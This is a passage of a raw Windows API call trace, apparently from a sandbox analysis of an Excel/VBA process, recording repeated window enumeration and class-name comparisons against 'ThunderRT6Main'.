0x1016e [0131.674] GetClassNameA (in: hWnd=0x1016e, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0131.674] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0131.674] GetWindow (hWnd=0x1016e, uCmd=0x2) returned 0x10168 [0131.674] GetClassNameA (in: hWnd=0x10168, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="Cruises_Construct_win") returned 21 [0131.674] lstrcmpA (lpString1="Cruises_Construct_win", lpString2="ThunderRT6Main") returned -1 [0131.674] GetWindow (hWnd=0x10168, uCmd=0x2) returned 0x1016a [0131.675] GetClassNameA (in: hWnd=0x1016a, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0131.675] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0131.675] GetWindow (hWnd=0x1016a, uCmd=0x2) returned 0x10164 [0131.675] GetClassNameA (in: hWnd=0x10164, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="Causing_Fighting_platinum_") returned 26 [0131.675] lstrcmpA (lpString1="Causing_Fighting_platinum_", lpString2="ThunderRT6Main") returned -1 [0131.675] GetWindow (hWnd=0x10164, uCmd=0x2) returned 0x10166 [0131.675] GetClassNameA (in: hWnd=0x10166, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0131.675] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0131.675] GetWindow (hWnd=0x10166, uCmd=0x2) returned 0x10160 [0131.675] GetClassNameA (in: hWnd=0x10160, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="ConflictBindingunit") returned 19 [0131.675] lstrcmpA (lpString1="ConflictBindingunit", lpString2="ThunderRT6Main") returned -1 [0131.676] GetWindow (hWnd=0x10160, uCmd=0x2) returned 0x10162 [0131.676] GetClassNameA (in: hWnd=0x10162, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0131.676] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0131.676] GetWindow (hWnd=0x10162, uCmd=0x2) returned 0x300fa [0131.676] GetClassNameA (in: hWnd=0x300fa, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="Packrxapp") returned 9 [0131.676] lstrcmpA (lpString1="Packrxapp", lpString2="ThunderRT6Main") returned -1 [0131.676] GetWindow (hWnd=0x300fa, uCmd=0x2) returned 0x1015e [0131.676] GetClassNameA (in: hWnd=0x1015e, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0131.676] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0131.677] GetWindow (hWnd=0x1015e, uCmd=0x2) returned 0x50102 [0131.677] GetClassNameA (in: hWnd=0x50102, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="Cells_Surfaces_window") returned 21 [0131.677] lstrcmpA (lpString1="Cells_Surfaces_window", lpString2="ThunderRT6Main") returned -1 [0131.677] GetWindow (hWnd=0x50102, uCmd=0x2) returned 0x30108 [0131.677] GetClassNameA (in: hWnd=0x30108, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0131.677] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0131.677] GetWindow (hWnd=0x30108, uCmd=0x2) returned 0x3015a [0131.677] GetClassNameA (in: hWnd=0x3015a, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="FaxMonWinClass{3FD224BA-8556-47fb-B260-3E451BAE2793}") returned 52 [0131.677] lstrcmpA (lpString1="FaxMonWinClass{3FD224BA-8556-47fb-B260-3E451BAE2793}", lpString2="ThunderRT6Main") returned -1 [0131.678] GetWindow (hWnd=0x3015a, uCmd=0x2) returned 0x10146 [0131.678] GetClassNameA (in: hWnd=0x10146, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="BluetoothNotificationAreaIconWindowClass") returned 40 [0131.678] lstrcmpA (lpString1="BluetoothNotificationAreaIconWindowClass", lpString2="ThunderRT6Main") returned -1 [0131.678] GetWindow (hWnd=0x10146, uCmd=0x2) returned 0x10144 [0131.678] GetClassNameA (in: hWnd=0x10144, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="MS_WebcheckMonitor") returned 18 [0131.678] lstrcmpA (lpString1="MS_WebcheckMonitor", lpString2="ThunderRT6Main") returned -1 [0131.678] GetWindow (hWnd=0x10144, uCmd=0x2) returned 0x2013a [0131.678] GetClassNameA (in: hWnd=0x2013a, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="PNIHiddenWnd") returned 12 [0131.678] lstrcmpA (lpString1="PNIHiddenWnd", lpString2="ThunderRT6Main") returned -1 [0131.679] GetWindow (hWnd=0x2013a, uCmd=0x2) returned 0x1012e [0131.679] GetClassNameA (in: hWnd=0x1012e, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="Media Center SSO") returned 16 [0131.679] lstrcmpA (lpString1="Media Center SSO", lpString2="ThunderRT6Main") returned -1 [0131.679] GetWindow (hWnd=0x1012e, uCmd=0x2) returned 0x10130 [0131.679] GetClassNameA (in: hWnd=0x10130, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0131.679] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0131.679] GetWindow (hWnd=0x10130, uCmd=0x2) returned 0x10124 [0131.679] GetClassNameA (in: hWnd=0x10124, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="ATL:000007FEFBEA41F0") returned 20 [0131.680] lstrcmpA (lpString1="ATL:000007FEFBEA41F0", lpString2="ThunderRT6Main") returned -1 [0131.680] GetWindow (hWnd=0x10124, uCmd=0x2) returned 0x10126 [0131.680] GetClassNameA (in: hWnd=0x10126, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0131.680] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0131.680] GetWindow (hWnd=0x10126, uCmd=0x2) returned 0x10118 [0131.680] GetClassNameA (in: hWnd=0x10118, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="SystemTray_Main") returned 15 [0131.680] lstrcmpA (lpString1="SystemTray_Main", lpString2="ThunderRT6Main") returned -1 [0131.681] GetWindow (hWnd=0x10118, uCmd=0x2) returned 0x1011a [0131.681] GetClassNameA (in: hWnd=0x1011a, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0131.681] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0131.681] GetWindow (hWnd=0x1011a, uCmd=0x2) returned 0x10116 [0131.681] GetClassNameA (in: hWnd=0x10116, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="WorkerW") returned 7 [0131.681] lstrcmpA (lpString1="WorkerW", lpString2="ThunderRT6Main") returned 1 [0131.681] GetWindow (hWnd=0x10116, uCmd=0x2) returned 0x20018 [0131.681] GetClassNameA (in: hWnd=0x20018, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="OneNoteM") returned 8 [0131.681] lstrcmpA (lpString1="OneNoteM", lpString2="ThunderRT6Main") returned -1 [0131.682] GetWindow (hWnd=0x20018, uCmd=0x2) returned 0x2001a [0131.682] GetClassNameA (in: hWnd=0x2001a, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0131.682] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0131.682] GetWindow (hWnd=0x2001a, uCmd=0x2) returned 0x2001c [0131.682] GetClassNameA (in: hWnd=0x2001c, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="GDI+ Hook Window Class") returned 22 [0131.682] lstrcmpA (lpString1="GDI+ Hook Window Class", lpString2="ThunderRT6Main") returned -1 [0131.682] GetWindow (hWnd=0x2001c, uCmd=0x2) returned 0x20016 [0131.682] GetClassNameA (in: hWnd=0x20016, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0131.682] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0131.683] GetWindow (hWnd=0x20016, uCmd=0x2) returned 0x200a2 [0131.683] GetClassNameA (in: hWnd=0x200a2, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="TASKENGINEWINDOWCLASS") returned 21 [0131.683] lstrcmpA (lpString1="TASKENGINEWINDOWCLASS", lpString2="ThunderRT6Main") returned -1 [0131.683] GetWindow (hWnd=0x200a2, uCmd=0x2) returned 0x1010a [0131.683] GetClassNameA (in: hWnd=0x1010a, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0131.683] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0131.683] GetWindow (hWnd=0x1010a, uCmd=0x2) returned 0x10106 [0131.683] GetClassNameA (in: hWnd=0x10106, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="WorkerW") returned 7 [0131.683] lstrcmpA (lpString1="WorkerW", lpString2="ThunderRT6Main") returned 1 [0131.684] GetWindow (hWnd=0x10106, uCmd=0x2) returned 0x10104 [0131.684] GetClassNameA (in: hWnd=0x10104, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="MSCTFIME UI") returned 11 [0131.684] lstrcmpA (lpString1="MSCTFIME UI", lpString2="ThunderRT6Main") returned -1 [0131.684] GetWindow (hWnd=0x10104, uCmd=0x2) returned 0x10100 [0131.684] GetClassNameA (in: hWnd=0x10100, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="WorkerW") returned 7 [0131.684] lstrcmpA (lpString1="WorkerW", lpString2="ThunderRT6Main") returned 1 [0131.684] GetWindow (hWnd=0x10100, uCmd=0x2) returned 0x100fe [0131.684] GetClassNameA (in: hWnd=0x100fe, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="WorkerW") returned 7 [0131.684] lstrcmpA (lpString1="WorkerW", lpString2="ThunderRT6Main") returned 1 [0131.685] GetWindow (hWnd=0x100fe, uCmd=0x2) returned 0x5008e [0131.685] GetClassNameA (in: hWnd=0x5008e, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="DV2ControlHost") returned 14 [0131.685] lstrcmpA (lpString1="DV2ControlHost", lpString2="ThunderRT6Main") returned -1 [0131.685] GetWindow (hWnd=0x5008e, uCmd=0x2) returned 0x10084 [0131.685] GetClassNameA (in: hWnd=0x10084, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="WorkerW") returned 7 [0131.685] lstrcmpA (lpString1="WorkerW", lpString2="ThunderRT6Main") returned 1 [0131.685] GetWindow (hWnd=0x10084, uCmd=0x2) returned 0x10082 [0131.692] GetClassNameA (in: hWnd=0x10082, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="WorkerW") returned 7 [0131.692] lstrcmpA (lpString1="WorkerW", lpString2="ThunderRT6Main") returned 1 [0131.692] GetWindow (hWnd=0x10082, uCmd=0x2) returned 0x1007a [0131.692] GetClassNameA (in: hWnd=0x1007a, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0131.692] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0131.693] GetWindow (hWnd=0x1007a, uCmd=0x2) returned 0x10068 [0131.693] GetClassNameA (in: hWnd=0x10068, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0131.693] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0131.693] GetWindow (hWnd=0x10068, uCmd=0x2) returned 0x20020 [0131.693] GetClassNameA (in: hWnd=0x20020, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="#43") returned 3 [0131.693] lstrcmpA (lpString1="#43", lpString2="ThunderRT6Main") returned -1 [0131.693] GetWindow (hWnd=0x20020, uCmd=0x2) returned 0x20024 [0131.693] GetClassNameA (in: hWnd=0x20024, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0131.693] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0131.694] GetWindow (hWnd=0x20024, uCmd=0x2) returned 0x10064 [0131.694] GetClassNameA (in: hWnd=0x10064, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="NotifyIconOverflowWindow") returned 24 [0131.694] lstrcmpA (lpString1="NotifyIconOverflowWindow", lpString2="ThunderRT6Main") returned -1 [0131.694] GetWindow (hWnd=0x10064, uCmd=0x2) returned 0x10052 [0131.694] GetClassNameA (in: hWnd=0x10052, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="COMTASKSWINDOWCLASS") returned 19 [0131.694] lstrcmpA (lpString1="COMTASKSWINDOWCLASS", lpString2="ThunderRT6Main") returned -1 [0131.694] GetWindow (hWnd=0x10052, uCmd=0x2) returned 0x10054 [0131.694] GetClassNameA (in: hWnd=0x10054, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0131.694] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0131.695] GetWindow (hWnd=0x10054, uCmd=0x2) returned 0x1004c [0131.695] GetClassNameA (in: hWnd=0x1004c, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="OleDdeWndClass") returned 14 [0131.695] lstrcmpA (lpString1="OleDdeWndClass", lpString2="ThunderRT6Main") returned -1 [0131.695] GetWindow (hWnd=0x1004c, uCmd=0x2) returned 0x10044 [0131.695] GetClassNameA (in: hWnd=0x10044, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="DDEMLEvent") returned 10 [0131.695] lstrcmpA (lpString1="DDEMLEvent", lpString2="ThunderRT6Main") returned -1 [0131.695] GetWindow (hWnd=0x10044, uCmd=0x2) returned 0x20040 [0131.695] GetClassNameA (in: hWnd=0x20040, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="DDEMLMom") returned 8 [0131.695] lstrcmpA (lpString1="DDEMLMom", lpString2="ThunderRT6Main") returned -1 [0131.696] GetWindow (hWnd=0x20040, uCmd=0x2) returned 0x10042 [0131.696] GetClassNameA (in: hWnd=0x10042, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0131.696] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0131.696] GetWindow (hWnd=0x10042, uCmd=0x2) returned 0x3003e [0131.696] GetClassNameA (in: hWnd=0x3003e, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="Dwm") returned 3 [0131.696] lstrcmpA (lpString1="Dwm", lpString2="ThunderRT6Main") returned -1 [0131.696] GetWindow (hWnd=0x3003e, uCmd=0x2) returned 0x2001e [0131.696] GetClassNameA (in: hWnd=0x2001e, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0131.697] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0131.697] GetWindow (hWnd=0x2001e, uCmd=0x2) returned 0x20022 [0131.697] GetClassNameA (in: hWnd=0x20022, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="CicLoaderWndClass") returned 17 [0131.697] lstrcmpA (lpString1="CicLoaderWndClass", lpString2="ThunderRT6Main") returned -1 [0131.697] GetWindow (hWnd=0x20022, uCmd=0x2) returned 0x100ec [0131.697] GetClassNameA (in: hWnd=0x100ec, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="Progman") returned 7 [0131.697] lstrcmpA (lpString1="Progman", lpString2="ThunderRT6Main") returned -1 [0131.698] GetWindow (hWnd=0x100ec, uCmd=0x2) returned 0x0 [0131.698] IMalloc:Alloc (This=0x7fefecb5380, cb=0x18) returned 0x4f79f70 [0131.698] IMalloc:Free (This=0x7fefecb5380, pv=0x4f79f70) [0134.514] GetAsyncKeyState (vKey=27) returned 0 [0134.514] GetCurrentThreadId () returned 0xbdc [0134.514] GetWindowLongA (hWnd=0x0, nIndex=-16) returned 0 [0134.514] GetDesktopWindow () returned 0x10010 [0134.514] GetWindow (hWnd=0x10010, uCmd=0x5) returned 0x400a8 [0134.514] GetClassNameA (in: hWnd=0x400a8, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0134.514] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0134.515] GetWindow (hWnd=0x400a8, uCmd=0x2) returned 0x300b6 [0134.515] GetClassNameA (in: hWnd=0x300b6, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0134.515] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0134.515] GetWindow (hWnd=0x300b6, uCmd=0x2) returned 0x500a4 [0134.515] GetClassNameA (in: hWnd=0x500a4, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0134.515] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0134.516] GetWindow (hWnd=0x500a4, uCmd=0x2) returned 0x1013c [0134.516] GetClassNameA (in: hWnd=0x1013c, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="ATL:000007FEF4C752C0") returned 20 [0134.516] lstrcmpA (lpString1="ATL:000007FEF4C752C0", lpString2="ThunderRT6Main") returned -1 [0134.516] GetWindow (hWnd=0x1013c, uCmd=0x2) returned 0x10136 [0134.516] GetClassNameA (in: hWnd=0x10136, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0134.516] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0134.516] GetWindow (hWnd=0x10136, uCmd=0x2) returned 0x10134 [0134.516] GetClassNameA (in: hWnd=0x10134, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="TaskSwitcherWnd") returned 15 [0134.516] lstrcmpA (lpString1="TaskSwitcherWnd", lpString2="ThunderRT6Main") returned -1 [0134.517] GetWindow (hWnd=0x10134, uCmd=0x2) returned 0x10076 [0134.517] GetClassNameA (in: hWnd=0x10076, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0134.517] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0134.517] GetWindow (hWnd=0x10076, uCmd=0x2) returned 0x10074 [0134.517] GetClassNameA (in: hWnd=0x10074, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0134.517] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0134.517] GetWindow (hWnd=0x10074, uCmd=0x2) returned 0x10060 [0134.517] GetClassNameA (in: hWnd=0x10060, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0134.517] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0134.517] GetWindow (hWnd=0x10060, uCmd=0x2) returned 0x1008a [0134.518] GetClassNameA (in: hWnd=0x1008a, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0134.518] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0134.518] GetWindow (hWnd=0x1008a, uCmd=0x2) returned 0x1007e [0134.518] GetClassNameA (in: hWnd=0x1007e, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0134.518] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0134.518] GetWindow (hWnd=0x1007e, uCmd=0x2) returned 0x1007c [0134.518] GetClassNameA (in: hWnd=0x1007c, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0134.518] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0134.518] GetWindow (hWnd=0x1007c, uCmd=0x2) returned 0x10078 [0134.518] GetClassNameA (in: hWnd=0x10078, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0134.518] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0134.519] GetWindow (hWnd=0x10078, uCmd=0x2) returned 0x10056 [0134.519] GetClassNameA (in: hWnd=0x10056, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="MSCTFIME UI") returned 11 [0134.519] lstrcmpA (lpString1="MSCTFIME UI", lpString2="ThunderRT6Main") returned -1 [0134.519] GetWindow (hWnd=0x10056, uCmd=0x2) returned 0x1004e [0134.519] GetClassNameA (in: hWnd=0x1004e, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0134.519] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0134.519] GetWindow (hWnd=0x1004e, uCmd=0x2) returned 0x10058 [0134.519] GetClassNameA (in: hWnd=0x10058, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="Button") returned 6 [0134.519] lstrcmpA (lpString1="Button", lpString2="ThunderRT6Main") returned -1 [0134.520] GetWindow (hWnd=0x10058, uCmd=0x2) returned 0x10050 [0134.520] GetClassNameA (in: hWnd=0x10050, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="Shell_TrayWnd") returned 13 [0134.520] lstrcmpA (lpString1="Shell_TrayWnd", lpString2="ThunderRT6Main") returned -1 [0134.520] GetWindow (hWnd=0x10050, uCmd=0x2) returned 0x100f6 [0134.520] GetClassNameA (in: hWnd=0x100f6, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0134.520] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0134.520] GetWindow (hWnd=0x100f6, uCmd=0x2) returned 0x5009a [0134.520] GetClassNameA (in: hWnd=0x5009a, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0134.520] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0134.521] GetWindow (hWnd=0x5009a, uCmd=0x2) returned 0x1008c [0134.521] GetClassNameA (in: hWnd=0x1008c, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="TaskListThumbnailWnd") returned 20 [0134.521] lstrcmpA (lpString1="TaskListThumbnailWnd", lpString2="ThunderRT6Main") returned -1 [0134.521] GetWindow (hWnd=0x1008c, uCmd=0x2) returned 0x102d4 [0134.521] GetClassNameA (in: hWnd=0x102d4, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="MSCTFIME UI") returned 11 [0134.521] lstrcmpA (lpString1="MSCTFIME UI", lpString2="ThunderRT6Main") returned -1 [0134.521] GetWindowLongA (hWnd=0x102d4, nIndex=-16) returned -1946157056 [0134.521] GetWindowLongPtrA (hWnd=0x102d4, nIndex=-6) returned 0x0 [0134.521] GetWindowLongPtrA (hWnd=0x102d4, nIndex=-6) returned 0x0 [0134.521] GetWindow (hWnd=0x102d4, uCmd=0x2) returned 0x30154 [0134.521] GetClassNameA (in: hWnd=0x30154, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0134.521] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0134.522] GetWindowLongA (hWnd=0x30154, nIndex=-16) returned -1946157056 [0134.522] GetWindowLongPtrA (hWnd=0x30154, nIndex=-6) returned 0x13f8c0000 [0134.522] GetWindowLongPtrA (hWnd=0x30154, nIndex=-6) returned 0x13f8c0000 [0134.522] GetWindow (hWnd=0x30154, uCmd=0x2) returned 0x2029c [0134.522] GetClassNameA (in: hWnd=0x2029c, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="XLMAIN") returned 6 [0134.522] lstrcmpA (lpString1="XLMAIN", lpString2="ThunderRT6Main") returned 1 [0134.522] GetWindowLongA (hWnd=0x2029c, nIndex=-16) returned 399441920 [0134.522] GetWindowLongPtrA (hWnd=0x2029c, nIndex=-6) returned 0x13f8c0000 [0134.522] GetWindowLongPtrA (hWnd=0x2029c, nIndex=-6) returned 0x13f8c0000 [0134.522] GetWindow (hWnd=0x2029c, uCmd=0x2) returned 0x2038a [0134.522] GetClassNameA (in: hWnd=0x2038a, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="XLMAIN") returned 6 [0134.522] lstrcmpA (lpString1="XLMAIN", lpString2="ThunderRT6Main") returned 1 [0134.522] GetWindowLongA (hWnd=0x2038a, nIndex=-16) returned 399441920 [0134.522] GetWindowLongPtrA (hWnd=0x2038a, nIndex=-6) returned 0x13f8c0000 [0134.523] GetWindowLongPtrA (hWnd=0x2038a, nIndex=-6) returned 0x13f8c0000 [0134.523] GetWindow (hWnd=0x2038a, uCmd=0x2) returned 0x20360 [0134.523] GetClassNameA (in: hWnd=0x20360, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="ThunderMain") returned 11 [0134.523] lstrcmpA (lpString1="ThunderMain", lpString2="ThunderRT6Main") returned -1 [0134.523] GetWindowLongA (hWnd=0x20360, nIndex=-16) returned -1946157056 [0134.523] GetWindowLongPtrA (hWnd=0x20360, nIndex=-6) returned 0x7fee5900000 [0134.523] IsWindowEnabled (hWnd=0x20360) returned 0 [0134.523] GetPropA (hWnd=0x20360, lpString=0xc121) returned 0x1 [0134.523] RemovePropA (hWnd=0x20360, lpString=0xc121) returned 0x1 [0134.523] EnableWindow (hWnd=0x20360, bEnable=1) returned 1 [0134.523] GetWindow (hWnd=0x20360, uCmd=0x2) returned 0x2030c [0134.523] GetClassNameA (in: hWnd=0x2030c, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="ComboLBox") returned 9 [0134.523] lstrcmpA (lpString1="ComboLBox", lpString2="ThunderRT6Main") returned -1 [0134.523] GetWindowThreadProcessId (in: hWnd=0x2030c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xbdc [0134.523] GetWindowLongA (hWnd=0x2030c, nIndex=-16) returned 1149272145 [0134.523] GetWindow (hWnd=0x2030c, uCmd=0x2) returned 0x10350 [0134.523] GetClassNameA (in: hWnd=0x10350, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="WorkerW") returned 7 [0134.523] lstrcmpA (lpString1="WorkerW", lpString2="ThunderRT6Main") returned 1 [0134.523] GetWindowThreadProcessId (in: hWnd=0x10350, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xce0 [0134.524] GetWindow (hWnd=0x10350, uCmd=0x2) returned 0x202ee [0134.524] GetClassNameA (in: hWnd=0x202ee, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="CFD File Open Message Window") returned 28 [0134.524] lstrcmpA (lpString1="CFD File Open Message Window", lpString2="ThunderRT6Main") returned -1 [0134.524] GetWindowThreadProcessId (in: hWnd=0x202ee, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xbdc [0134.524] GetWindowLongA (hWnd=0x202ee, nIndex=-16) returned 213909504 [0134.524] GetWindowLongPtrA (hWnd=0x202ee, nIndex=-6) returned 0x7feeeb50000 [0134.524] GetWindowLongPtrA (hWnd=0x202ee, nIndex=-6) returned 0x7feeeb50000 [0134.524] GetWindow (hWnd=0x202ee, uCmd=0x2) returned 0x302c4 [0134.524] GetClassNameA (in: hWnd=0x302c4, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="MsoStdCompMgr") returned 13 [0134.524] lstrcmpA (lpString1="MsoStdCompMgr", lpString2="ThunderRT6Main") returned -1 [0134.524] GetWindowThreadProcessId (in: hWnd=0x302c4, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xbdc [0134.524] GetWindowLongA (hWnd=0x302c4, nIndex=-16) returned -2080374784 [0134.524] GetWindowLongPtrA (hWnd=0x302c4, nIndex=-6) returned 0x7fef1d00000 [0134.524] GetWindowLongPtrA (hWnd=0x302c4, nIndex=-6) returned 0x7fef1d00000 [0134.524] GetWindow (hWnd=0x302c4, uCmd=0x2) returned 0x302c2 [0134.524] GetClassNameA (in: hWnd=0x302c2, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="OleDdeWndClass") returned 14 [0134.524] lstrcmpA (lpString1="OleDdeWndClass", lpString2="ThunderRT6Main") returned -1 [0134.524] GetWindowThreadProcessId (in: hWnd=0x302c2, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xbdc [0134.524] GetWindowLongA (hWnd=0x302c2, nIndex=-16) returned -2080374784 [0134.524] GetWindowLongPtrA (hWnd=0x302c2, nIndex=-6) returned 0x7fefeae0000 [0134.524] GetWindowLongPtrA (hWnd=0x302c2, nIndex=-6) returned 0x7fefeae0000 [0134.524] GetWindow (hWnd=0x302c2, uCmd=0x2) returned 0x10270 [0134.524] GetClassNameA (in: hWnd=0x10270, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="XLMAIN") returned 6 [0134.524] lstrcmpA (lpString1="XLMAIN", lpString2="ThunderRT6Main") returned 1 [0134.524] GetWindowThreadProcessId (in: hWnd=0x10270, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xbdc [0134.524] GetWindowLongA (hWnd=0x10270, nIndex=-16) returned 131006464 [0134.524] GetWindowLongPtrA (hWnd=0x10270, nIndex=-6) returned 0x13f8c0000 [0134.524] GetWindowLongPtrA (hWnd=0x10270, nIndex=-6) returned 0x13f8c0000 [0134.524] GetWindow (hWnd=0x10270, uCmd=0x2) returned 0x30152 [0134.524] GetClassNameA (in: hWnd=0x30152, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="OfficePowerManagerWindow") returned 24 [0134.524] lstrcmpA (lpString1="OfficePowerManagerWindow", lpString2="ThunderRT6Main") returned -1 [0134.524] GetWindowThreadProcessId (in: 